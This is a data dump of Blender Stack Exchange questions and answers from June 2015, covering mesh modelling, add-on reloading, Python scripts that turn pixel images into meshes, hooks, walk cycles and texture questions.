  <row Id="33109" PostTypeId="2" ParentId="33107" CreationDate="2015-06-28T07:15:03.287" Score="2" Body="&lt;p&gt;If some &lt;em&gt;but not all&lt;/em&gt; geometry from an object is missing, and you are &lt;em&gt;not&lt;/em&gt; in edit mode, then I would consider checking that the object in question doesn't have any active modifiers, like a boolean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to perform a boolean operation with objects that are non-manifold, the normals are messed up, or the object is just modeled poorly, then a boolean will make some of the faces disappear.&lt;/p&gt;&#xA;" OwnerUserId="15274" LastActivityDate="2015-06-28T07:15:03.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33111" PostTypeId="2" ParentId="33094" CreationDate="2015-06-28T09:35:50.263" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is the reload scripts command (default F8), only reloading the base script folder built-in with the Blender install&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any addon that you have currently enabled (usually saved in User Settings or default.blend) will go through the motions of &lt;code&gt;unregister()&lt;/code&gt; and &lt;code&gt;register()&lt;/code&gt; when you press &lt;kbd&gt;F8&lt;/kbd&gt;. The add-on's unregister() function must carefully remove anything it has added. (in this case that add-on doesn't remove everything and should be fixed)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Does the &quot;Scripts&quot; Folder setting effect what folder is reloaded when executing &quot;Reload Scripts&quot;.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. But the Scripts folder is loaded in addition to Blender's own &lt;code&gt;version/scripts/addons/&lt;/code&gt; folders (which can either be local to the binary or in &lt;a href=&quot;https://www.blender.org/manual/getting_started/installing_blender/directorylayout.html&quot; rel=&quot;nofollow&quot;&gt;a special storage place&lt;/a&gt; used by Blender for all versions of Blender&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;Is it common for a brand new install, without any changes, or enabled addons to error when reloading scripts after it's very first startup?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On a fresh Blender start-up; add-ons which are not enabled (ie no tick present in the addon preferences ) will not be read by Blender, and not interpreted by Python. So when you do get an error it will be because one or more add-ons has been enabled at some point &lt;em&gt;during&lt;/em&gt; the Blender session. If you are getting an error from an add-on that has been enabled, it is most likely an addon in the &lt;code&gt;addons_contrib&lt;/code&gt; directory, and exactly what the cause is will be unique to the addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit -- this should now be fixed already in addons_contrib&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the &lt;code&gt;space_view3d_quickPrefs.py&lt;/code&gt; it seems to be caused by the persistent handler being added in the &lt;em&gt;register&lt;/em&gt; phase but never removed in the &lt;em&gt;unregister&lt;/em&gt; phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fix would be to add this line at the end of the unregister function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def unregister():&#xA;    ...&#xA;    bpy.app.handlers.scene_update_pre.remove(setup)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-28T16:15:10.647" LastActivityDate="2015-06-28T16:15:10.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33112" PostTypeId="1" CreationDate="2015-06-28T10:49:34.507" Score="3" ViewCount="1318" Body="&lt;p&gt;Blender can be downloaded as an installer file, a zipped directory, or from Steam, among other places. What are the advantages and disadvantages of the various methods of obtaining Blender?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-03T02:56:58.057" Title="What are the advantages and disadvantages of different ways of obtaining Blender?" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33113" PostTypeId="2" ParentId="33071" CreationDate="2015-06-28T11:57:02.293" Score="11" Body="&lt;p&gt;I wrote a script to do exactly this a while back, here it is:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3LWY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tips on usage, if you really are using pixel art, then avoid representing the pixels using 4 pixels. You don't have to.. but it makes the resulting mesh unnecessarily vertex heavy before doing any operations like 'limited dissolve' (which joins all adjacent geometry when possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script, is a little long but I'll include here anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from collections import defaultdict&#xA;&#xA;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;color_map = defaultdict(list)&#xA;filename = &quot;aYlTzbV.png&quot;&#xA;img = bpy.data.images[filename]&#xA;scale = 0.3&#xA;&#xA;&#xA;def idx_to_co(idx, width):&#xA;    r = int(idx / width)&#xA;    c = idx % width&#xA;    return r, c&#xA;&#xA;def co_to_idx(r, c, width):&#xA;    return r * width + c&#xA;&#xA;&#xA;def rgba_from_index(idx, pxs):&#xA;    start_raw_index = idx * 4&#xA;    return pxs[start_raw_index:start_raw_index+4]&#xA;&#xA;&#xA;def sv_main():&#xA;&#xA;    def is_fully_opaque(rgba):&#xA;        return rgba[3] == 1.0&#xA;&#xA;    pixels = img.pixels&#xA;    pxs = list(pixels)&#xA;&#xA;    w = width = img.size[0]&#xA;    h = height = img.size[1]&#xA;&#xA;    num_pixels = len(pxs)&#xA;    gl = grouped_list = [pxs[i:i+4] for i in range(num_pixels)[::4]]&#xA;&#xA;    for c in range(w):&#xA;        for r in range(h):&#xA;            idx = co_to_idx(r, c, w)&#xA;            rgba = rgba_from_index(idx, pxs)&#xA;            if is_fully_opaque(rgba):&#xA;                color_map[tuple(rgba[:3])].append([r*scale, -c*scale, 0.0])&#xA;&#xA;&#xA;def create_repr_plane(obj_name, mesh_name, vlist):&#xA;    s = scale/2&#xA;    verts = []&#xA;    v_add = verts.extend&#xA;    faces = []&#xA;    f_add = faces.append&#xA;&#xA;    for i, v in enumerate(vlist):&#xA;        x, y = v[:2]&#xA;        v_add([[-s+x, s+y, 0], [-s+x, -s+y, 0], [s+x, -s+y, 0], [s+x, s+y, 0]])&#xA;&#xA;        offset = i*4&#xA;        f_add([0 + offset, 1 + offset, 2 + offset, 3 + offset])&#xA;&#xA;    profile_mesh = bpy.data.meshes.new(obj_name)&#xA;    profile_mesh.from_pydata(verts, [], faces)&#xA;    profile_mesh.update()&#xA;&#xA;    profile_object = bpy.data.objects.new(obj_name, profile_mesh)&#xA;&#xA;    scene.objects.link(profile_object)&#xA;    return profile_object&#xA;&#xA;&#xA;sv_main()&#xA;&#xA;for i, (k, v) in enumerate(color_map.items()):&#xA;&#xA;    obj = create_repr_plane(&quot;dupli_object_&quot; + str(i), &quot;dupli_mesh_&quot; + str(i), v)&#xA;&#xA;    repr_of_color = &quot;{0:.4f} {1:.4f} {2:.4f}&quot;.format(*k)&#xA;    mat = bpy.data.materials.new('sv_material_' + repr_of_color)&#xA;    mat.use_nodes = True&#xA;    mat.use_fake_user = True  # usually handy&#xA;    obj.active_material = mat&#xA;    nodes = mat.node_tree.nodes&#xA;    nodes[&quot;Diffuse BSDF&quot;].inputs[0].default_value = list(k) + [1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does a few things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rages through the image (if doesn't really care if it's low or high res, but high res will slow it down)&lt;/li&gt;&#xA;&lt;li&gt;Indexes the coordinates of all similar coloured pixels&lt;/li&gt;&#xA;&lt;li&gt;generates a quad based mesh to represent each pixel, and joins them all in one mesh object for one colour&lt;/li&gt;&#xA;&lt;li&gt;makes a cycles material node for each object and sets it to the indexed color.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;doesn't do&lt;/strong&gt;&lt;br&gt;&#xA;Several post processing steps  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;doesn't join the resulting objects into one multi-material object&lt;/li&gt;&#xA;&lt;li&gt;doesn't perform remove doubles / limited dissolve&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Warning:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This script assumes your low res image doesn't have thousands of different colours. It will create as many different objects as colors found in the image. Tip is to first Quantize the image or let some tool index the colors for you. This will perform terrible with lots of gradients, if you need gradients this script is not for you. It's writen in the spirit of low res low dynamic range images.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-17T12:45:57.453" LastActivityDate="2015-08-17T12:45:57.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33114" PostTypeId="1" CreationDate="2015-06-28T12:12:26.993" Score="1" ViewCount="166" Body="&lt;p&gt;I wrote a procedural generator and it saves the output for the Meshes in a text file. Then I wrote a python3/Blender script which parses through that text file and creates the meshes from the input. The parsing itself is not fast but definitely within reasonable time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I run blender (blender --python parsetext.py) with more than ~12000 Polygons, Blender turns grey on startup and stops responding (My computer turns quiet - Blender seems to stop doing anything). When I run the script with slightly fewer Polygons it works just fine and also the rendering / in-Program movement works flawless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like there is some kind of Limit in how many Objects Blender can save or that Blender adds Objects in a weird way (recursively...?!?! recursion depth reached or something along those lines maybe...!?!?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody else had this problem? It really seems like Blender should be able to handle more than ~12000 Polygons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else, could someone think of a way to save/load my meshes from the script more effectively? (I can't find anything useful on the .blend file format though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following some advice concerning merging objects. Before that, each Polygon was created with createpolygon() with a list of coordinates and a texture. The object was then linked to the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now createbuilding() gets called which calls createpolygon a few times but then tries to join the objects. However, I get a segmentation fault error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def createpolygon(coords,texture,length):&#xA;    me=bpy.data.meshes.new('mesh')&#xA;    ob=bpy.data.objects.new('mesh',me)&#xA;    me.from_pydata(coords,[], [range(length)])&#xA;    me.update(calc_edges=True)&#xA;    try:&#xA;        me.materials.append(materialslist[texture])&#xA;    except:&#xA;        pass&#xA;    return ob&#xA;&#xA;def createbuilding(obj,texture):&#xA;    meshes=[]&#xA;&#xA;    for me in obj:&#xA;        ob=createpolygon(me, texture, len(me))&#xA;        ob.select=True&#xA;        meshes.append(ob)&#xA;        bpy.context.scene.objects.link(ob)&#xA;&#xA;    bpy.context.scene.objects.active = meshes[0]&#xA;&#xA;    bpy.ops.object.join()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15281" LastEditorUserId="15281" LastEditDate="2015-06-29T19:37:16.147" LastActivityDate="2015-12-26T22:42:54.787" Title="Blender start with (large) Python script crashes Blender" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33115" PostTypeId="1" CreationDate="2015-06-28T12:32:54.027" Score="0" ViewCount="66" Body="&lt;p&gt;I have an OBJ file that has two meshes mapped to two different texture files.  After cropping the meshes in Blender, I realized that most of the original image portions in the texture jpegs are not being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I want to combine two textures into a single texture and export the meshes into a OBJ file.  How can I do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="15283" LastEditorUserId="241" LastEditDate="2015-06-28T12:55:36.940" LastActivityDate="2015-06-28T12:55:36.940" Title="Combine two textures in OBJ into single texture" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2015-06-28T14:43:42.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="33116" PostTypeId="2" ParentId="33114" CreationDate="2015-06-28T12:40:11.217" Score="1" Body="&lt;p&gt;If you are trying to add one object per polygon, then yes, it is a quite bad idea with current Blender - adding object can indeed be O² because each time you add one, Blender has to check all (or at least a large subset) of existing ones against name collision. Would suggest to add your 12000 polygons in a single object…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further than that, it's pretty much impossible to help you without having access to the code.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-28T12:40:11.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33117" PostTypeId="1" CreationDate="2015-06-28T12:59:16.383" Score="1" ViewCount="1178" Body="&lt;p&gt;I'm trying to create a simulation of a phone receiver which is attached to the phone base via a phone cord.  I want the cord to dangle and stretch the same as a real coiled phone would, but without the headache of manually animating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading several tutorials and watching &lt;a href=&quot;https://www.youtube.com/watch?v=Lg7jxAMs60Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; helpful video, I've created what I think is a realistic looking phone cord using a nurbspath and a curve circle to provide the bevel shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I now don't know how to attach the cord at both ends to my phone receiver and phone base meshes.  I then jumped straight back into the tutorials and quickly determined that hooks might be what I was after.  However I've been flicking through youtube tutorials for a bit now and I'm not sure I understand the full behaviour of a hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to do the following:&lt;br&gt;&#xA;1. Select my phone receiver (the handset).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BCIaD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the phone cord (nurbspath).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JT4tq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tab into edit mode.&lt;br&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select only the first vertices on the path.&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; and select &quot;Hook to Selected Object&quot;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wiqUV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The result is that I can move my phone receiver and it pulls along the first vertices of the nurbspath.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tQT32.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I hit the Play button the nurbs path just falls away from the handset as if no hook exists.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OT5Fv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will take a good bet I'm doing it all wrong.  Happy to take suggestions of a better way to do this.&lt;/p&gt;&#xA;" OwnerUserId="15282" LastEditorUserId="15282" LastEditDate="2015-06-28T13:40:01.687" LastActivityDate="2015-06-28T13:40:01.687" Title="Attaching a nurbspath to a mesh (to create a rope attached to an object)" Tags="&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33118" PostTypeId="1" AcceptedAnswerId="33300" CreationDate="2015-06-28T13:19:27.413" Score="7" ViewCount="3569" Body="&lt;p&gt;I would like to append a very complicated hierarchy tree from another file. The file has multi-level parent-children relations and I'd like to append the whole structure just by appending it's main parent object. The hierarchy should be maintained after appending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to manually select among the hundreds of objects those belonging to the hierarchy tree and I don't want to use Groups. Is there a way to do it?&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2018-08-26T18:47:34.927" Title="How to append parent object from an external file including all the children?" Tags="&lt;append&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33121" PostTypeId="1" CreationDate="2015-06-28T15:11:52.157" Score="2" ViewCount="967" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cryHr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is a work in progress. It consists of a large number of extruded cubes. All the cubes are joined in a single mesh. (It's a mathematical representation of a photograph) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem: making this object by using the extrude option turned it into a non manifold nightmare. The base of the cubes form a nice unified mesh. But the tops are not attached to each other. I have included an image to illustrate my point:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RuLTC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;In the image I moved the top of one of the cubes to the left. So the cubes are all right next to each other but not correctly joined. (hope it's clear what I am trying to say) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I have 3 questions: &#xA; - How can I extrude faces without running into this problem?&lt;br&gt;&#xA; - Is there a better way to make this object?&#xA; - Is there an efficient way to fix my current object? &lt;/p&gt;&#xA;" OwnerUserId="15271" LastEditorUserId="2217" LastEditDate="2015-06-28T16:47:47.047" LastActivityDate="2015-07-29T01:16:14.173" Title="Extruding problem" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33123" PostTypeId="1" CreationDate="2015-06-28T16:57:47.360" Score="1" ViewCount="56" Body="&lt;p&gt;I have a Minecraft character.&#xA;I will wish to work the pixels of my character.&#xA;How to get the selection of these pixels ?&#xA;As you see, I have the selection of the judgments of characters only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJS4q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I will wish to obtain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1ZHd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15287" LastActivityDate="2015-06-28T16:57:47.360" Title="How to get a gridlines of pixel" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33124" PostTypeId="2" ParentId="33121" CreationDate="2015-06-28T17:46:50.880" Score="2" Body="&lt;p&gt;Here's a quick script I wrote to do the same thing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from collections import defaultdict&#xA;&#xA;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;color_map = defaultdict(list)&#xA;filename = &quot;wvb_flat_200_200.png&quot;&#xA;img = bpy.data.images[filename]&#xA;scale = 0.3&#xA;&#xA;&#xA;def idx_to_co(idx, width):&#xA;    r = int(idx / width)&#xA;    c = idx % width&#xA;    return r, c&#xA;&#xA;def co_to_idx(r, c, width):&#xA;    return r * width + c&#xA;&#xA;&#xA;def rgba_from_index(idx, pxs):&#xA;    start_raw_index = idx * 4&#xA;    return pxs[start_raw_index:start_raw_index+4]&#xA;&#xA;&#xA;def sv_main():&#xA;&#xA;    pixels = img.pixels&#xA;    pxs = list(pixels)&#xA;&#xA;    w = width = img.size[0]&#xA;    h = height = img.size[1]&#xA;&#xA;    num_pixels = len(pxs)&#xA;    gl = grouped_list = [pxs[i:i+4] for i in range(num_pixels)[::4]]&#xA;&#xA;    for c in range(w):&#xA;        for r in range(h):&#xA;            idx = co_to_idx(r, c, w)&#xA;            rgba = rgba_from_index(idx, pxs)&#xA;            color_map[tuple(rgba[:3])].append([r*scale, -c*scale, 0.0])&#xA;&#xA;&#xA;def create_repr_plane(obj_name, mesh_name):&#xA;&#xA;    # here I would consider doing:   (scale / 2) * 0.98&#xA;    s = scale/2  &#xA;    verts = []&#xA;    v_add = verts.extend&#xA;    faces = []&#xA;    f_add = faces.extend&#xA;&#xA;    def get_verts(x, y, z):&#xA;        lowest = -1&#xA;        return [&#xA;            (s+x, s+y, lowest),&#xA;            (s+x, -s+y, lowest),&#xA;            (-s+x, -s+y, lowest),&#xA;            (-s+x, s+y, lowest),&#xA;            (s+x, s+y, z),&#xA;            (s+x, -s+y, z),&#xA;            (-s+x, -s+y, z),&#xA;            (-s+x, s+y, z)&#xA;        ]&#xA;&#xA;    def get_faces(o):&#xA;        return [&#xA;            (0+o, 1+o, 2+o, 3+o),&#xA;            (4+o, 7+o, 6+o, 5+o),&#xA;            (0+o, 4+o, 5+o, 1+o),&#xA;            (1+o, 5+o, 6+o, 2+o),&#xA;            (2+o, 6+o, 7+o, 3+o),&#xA;            (4+o, 0+o, 3+o, 7+o)&#xA;        ]&#xA;&#xA;    # for each color&#xA;    total_idx = 0&#xA;    for i, (k, v) in enumerate(color_map.items()):&#xA;&#xA;        z = 0.2126 * k[0] + 0.7152 * k[1] + 0.0722 * k[2]&#xA;        # for every pixel with this colour&#xA;        for j, vtx in enumerate(v):&#xA;            x, y = vtx[:2]&#xA;            v_add(get_verts(x, y, z))&#xA;&#xA;            f_add(get_faces(total_idx))&#xA;            total_idx += 8&#xA;&#xA;    # print(verts, faces)&#xA;&#xA;    profile_mesh = bpy.data.meshes.new(obj_name)&#xA;    profile_mesh.from_pydata(verts, [], faces)&#xA;    profile_mesh.update()&#xA;&#xA;    profile_object = bpy.data.objects.new(obj_name, profile_mesh)&#xA;&#xA;    scene.objects.link(profile_object)&#xA;    return profile_object&#xA;&#xA;&#xA;sv_main()&#xA;&#xA;&#xA;obj = create_repr_plane(&quot;dupli_object&quot;, &quot;dupli_mesh&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It creates cubes in a single mesh and pushes the Z depth down to a constant point, but uses the rgb components and converts them to a greyscale to get the upper point of the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1N5f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here &lt;em&gt;remesh modifier&lt;/em&gt; isn't really an option as it will be very processor intensive. If you want manifold geometry perhaps make the cubes slightly less wide (x,y) than their spread distance x, y, making the cubes not touch eachother. That might be a simpler solution if this is for 3d printing or milling.. It's going to be a tonne of geometry either way.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-28T19:59:44.587" LastActivityDate="2015-06-28T19:59:44.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33125" PostTypeId="1" CreationDate="2015-06-28T17:59:39.307" Score="2" ViewCount="2689" Body="&lt;p&gt;I'm trying to use a .blend file with a keyframe animation on the angle of a Simple Deform modifier in Unity3D. Unity3D however does not know how to handle modifiers and hence cannot play the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I bake/save the animation to the .blend file so that Unity3D can play it?&lt;/p&gt;&#xA;" OwnerUserId="15289" LastActivityDate="2015-11-26T15:49:00.023" Title="Bake Simple Deform animation into mesh for Unity3D export?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33126" PostTypeId="1" AcceptedAnswerId="33127" CreationDate="2015-06-28T18:09:54.710" Score="-2" ViewCount="5118" Body="&lt;p&gt;Meet &lt;a href=&quot;http://www.remar.se/daniel/iji.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Iji&lt;/a&gt;. &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/300/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cybernetic female teenager who single-handedly brought two alien species to the brink of extinction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, she's kicking butt across the multiverse. Only problem is, I have forgotten how to make things walk realistically. She isn't using rigify, but has some bones pre-installed. Can someone walk me through the process of making her walk step by step please?&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-28T18:57:25.623" Title="Step-by-Step: Realistic Walking" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-28T18:51:25.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="33127" PostTypeId="2" ParentId="33126" CreationDate="2015-06-28T18:25:27.670" Score="8" Body="&lt;p&gt;Here is a little basics on animating a walk cycle to get you started. There are four or six (depending on who you ask) key poses that make up a walk: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Wuae.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This image shows each of these poses. After creating them about 3 or four frames apart you should have some realistic motion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZNGe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-06-28T18:57:25.623" LastActivityDate="2015-06-28T18:57:25.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33128" PostTypeId="1" CreationDate="2015-06-28T18:56:14.003" Score="1" ViewCount="1335" Body="&lt;p&gt;UV textures appear scrambled or missing when rendered, but are fine in the 3D view. I've spent the entire day googling and looking at other people's problems and I am still at a loss. I want to render now but I can't seem to figure out what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dd7yI.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/126066185/helpme.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blendfile&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious? I have more than one UV on a character and want to know if it's possible to assign different materials to different parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I'm not providing enough details. If you have questions, I'll try to answer right away.&lt;/p&gt;&#xA;" OwnerUserId="15291" LastEditorUserId="599" LastEditDate="2015-06-29T19:40:42.473" LastActivityDate="2017-11-18T20:37:09.893" Title="UV textures appear scrambled or missing" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33129" PostTypeId="1" CreationDate="2015-06-28T19:05:16.313" Score="1" ViewCount="155" Body="&lt;p&gt;Can blender handle quadruped track data from a kinect?&lt;/p&gt;&#xA;" OwnerUserId="15292" LastEditorUserId="15292" LastEditDate="2015-06-30T19:43:51.590" LastActivityDate="2015-07-01T05:21:45.233" Title="Blender track quadruped with kinect?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33131" PostTypeId="1" AcceptedAnswerId="33133" CreationDate="2015-06-28T19:29:14.270" Score="5" ViewCount="8177" Body="&lt;p&gt;I have been seeing a lot of cool tutorials for procedural textures in Cycles lately, but I was wondering, are procedural textures actually more efficient rendering-wise than image textures? Do they help speed up the render, or would image textures be a better choice? What are the benefits to procedural textures?&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="1828" LastEditDate="2015-06-28T20:47:58.110" LastActivityDate="2020-10-16T09:49:48.880" Title="What are the benefits to using procedural textures VS image textures?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33132" PostTypeId="1" AcceptedAnswerId="33316" CreationDate="2015-06-28T20:46:04.570" Score="1" ViewCount="883" Body="&lt;p&gt;I'm making a game which involves the player walking around a forest, and so I need to randomly distribute trees from the sapling tree generator all over it. The plane is huge so I can't simply place them manually.&#xA;It would also be ideal to change the seed of the tree for each tree created. I'm familiar with python so a script would be acceptable.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-07-02T22:08:17.360" Title="Random distribution of objects over a plane" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
